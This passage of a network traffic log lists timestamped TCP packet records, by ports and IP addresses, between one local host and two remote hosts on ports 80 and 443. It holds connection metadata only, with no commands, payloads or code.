Oct 28, 2024 08:17:17.648684978 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.648694038 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.648703098 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.648714066 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.648730993 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.648745060 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.648756027 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.648766994 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.648777962 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.648786068 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.648792028 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.648818970 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.649411917 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.649422884 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.649432898 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.649456024 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.649468899 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.649487019 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.649497032 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.649507046 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.649517059 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.649519920 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.649539948 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.649566889 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.649588108 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.649626970 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.692945957 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.693001986 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.693011045 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.693020105 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.693053961 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.693092108 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.693794966 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.693808079 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.693816900 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.693866014 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.693871975 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.693883896 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.693918943 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.693950891 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.693960905 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.693970919 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.694035053 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.694125891 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.694135904 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.694145918 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.694168091 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.694205046 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.734426022 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.734467983 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.734476089 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.734487057 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.734541893 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.734571934 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.738068104 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.738079071 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.738090992 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.738131046 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.738157988 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.757157087 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.757177114 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.757195950 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.757210016 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.757220984 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.757232904 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.757246971 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.757293940 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.762578011 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.762619019 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.762628078 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.762653112 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.762670994 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.762676954 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.762684107 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.762696028 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.762731075 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.762768030 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.762855053 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.762876034 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.762887955 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.762902975 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.762928963 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.763005018 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.763015985 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.763037920 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.763048887 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.763057947 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.763061047 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.763079882 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.763113022 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.763250113 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.763271093 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.763282061 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.763293982 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.763330936 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.763345003 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.763485909 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.763534069 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.763550997 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.763572931 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.763590097 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.763617992 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.763629913 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.763679981 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.763684034 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.763717890 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.763725042 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.763752937 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.763767004 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.763799906 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:17.763808966 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:17.763855934 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:20.149208069 CET	49740	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:20.149233103 CET	443	49740	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:20.149315119 CET	49740	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:20.149516106 CET	49740	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:20.149528980 CET	443	49740	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:20.299108982 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:20.299340963 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:20.411361933 CET	49741	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:20.411377907 CET	443	49741	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:20.415160894 CET	49741	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:20.419323921 CET	49741	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:20.419332027 CET	443	49741	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:20.455512047 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:20.455533981 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:20.455800056 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:20.455800056 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:20.455826998 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:20.623934984 CET	49743	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:20.623950005 CET	443	49743	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:20.627441883 CET	49743	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:20.627736092 CET	49743	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:20.627746105 CET	443	49743	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:20.652089119 CET	443	49743	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:20.652292967 CET	49743	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:20.652561903 CET	49743	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:20.652570009 CET	443	49743	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:20.652770042 CET	49744	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:20.652810097 CET	443	49744	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:20.652980089 CET	49744	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:20.653238058 CET	49744	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:20.653260946 CET	443	49744	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.012031078 CET	443	49740	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.022424936 CET	49740	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.022438049 CET	443	49740	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.023401976 CET	443	49740	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.023590088 CET	49740	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.028836012 CET	49740	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.028909922 CET	443	49740	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.029313087 CET	49740	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.029320955 CET	443	49740	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.089473963 CET	49740	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.272233009 CET	443	49741	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.297132015 CET	443	49740	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.327425003 CET	49741	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.339627981 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.342942953 CET	49741	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.342947006 CET	443	49741	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.343045950 CET	49740	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.343055010 CET	443	49740	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.343673944 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.343683004 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.344551086 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.344614029 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.346860886 CET	443	49741	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.346896887 CET	443	49741	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.346932888 CET	49741	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.348731995 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.348788023 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.349036932 CET	49741	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.349212885 CET	443	49741	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.349373102 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.349381924 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.349459887 CET	49741	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.349471092 CET	443	49741	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.351011992 CET	49740	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.351047039 CET	443	49740	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.351098061 CET	49740	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.389967918 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.389995098 CET	49741	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.519160032 CET	443	49744	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.519247055 CET	49744	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.519265890 CET	443	49744	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.519572973 CET	49744	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.520934105 CET	49744	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.520940065 CET	443	49744	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.618437052 CET	443	49741	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.649301052 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.649336100 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.649367094 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.649382114 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.649394989 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.649485111 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.649492979 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.650197029 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.650249958 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.650258064 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.658843994 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.658911943 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.658921957 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.671169996 CET	49741	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.671179056 CET	443	49741	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.671907902 CET	49741	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.671988010 CET	443	49741	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.672151089 CET	49741	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.702431917 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.702440023 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.749739885 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.767918110 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.767954111 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.768043995 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.768052101 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.780025005 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.780097961 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.780116081 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.784849882 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.784940958 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.784951925 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.794356108 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.794413090 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.794421911 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.804022074 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.804130077 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.804158926 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.813225985 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.813728094 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.813739061 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.822897911 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.822952032 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.822963953 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.831429005 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.831526041 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.831532001 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.839960098 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.840034962 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.840039968 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.886456966 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.886487961 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.886523962 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.886545897 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.886553049 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.886591911 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.886631012 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.886635065 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.886888027 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.887017965 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.887023926 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.898499012 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.898525953 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.898576021 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.898582935 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.898652077 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.910775900 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.914436102 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.914465904 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.914640903 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.914649010 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.914793015 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.921828032 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.928292036 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.928348064 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.928467035 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.928472996 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.928534031 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.934920073 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.941550016 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.941597939 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.941761971 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.941767931 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.941823959 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.948363066 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.954622030 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.954691887 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.954739094 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.954746008 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.954855919 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.961239100 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.967791080 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.967864990 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.967969894 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.967986107 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.968060017 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.984270096 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.984364033 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.984401941 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.984421968 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.984427929 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.984522104 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.987664938 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.994240999 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.994261026 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.994296074 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:21.994302034 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:21.994405985 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:22.000797033 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.007472038 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.007543087 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.007560968 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:22.007567883 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.007657051 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:22.014030933 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.020438910 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.020468950 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.020509005 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:22.020514965 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.020560980 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:22.026854992 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.032485008 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.032509089 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.032543898 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:22.032552004 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.032602072 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:22.038413048 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.044560909 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.044593096 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.044617891 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:22.044625998 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.044673920 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:22.050379992 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.054011106 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.054033995 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.054070950 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:22.054078102 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.054187059 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:22.057590008 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.061178923 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.061208963 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.061239958 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:22.061247110 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.061311960 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:22.064784050 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.068228006 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.068245888 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.068300962 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:22.068310976 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.068382025 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:22.071599007 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.075122118 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.075176954 CET	49742	443	192.168.2.4	142.250.185.132
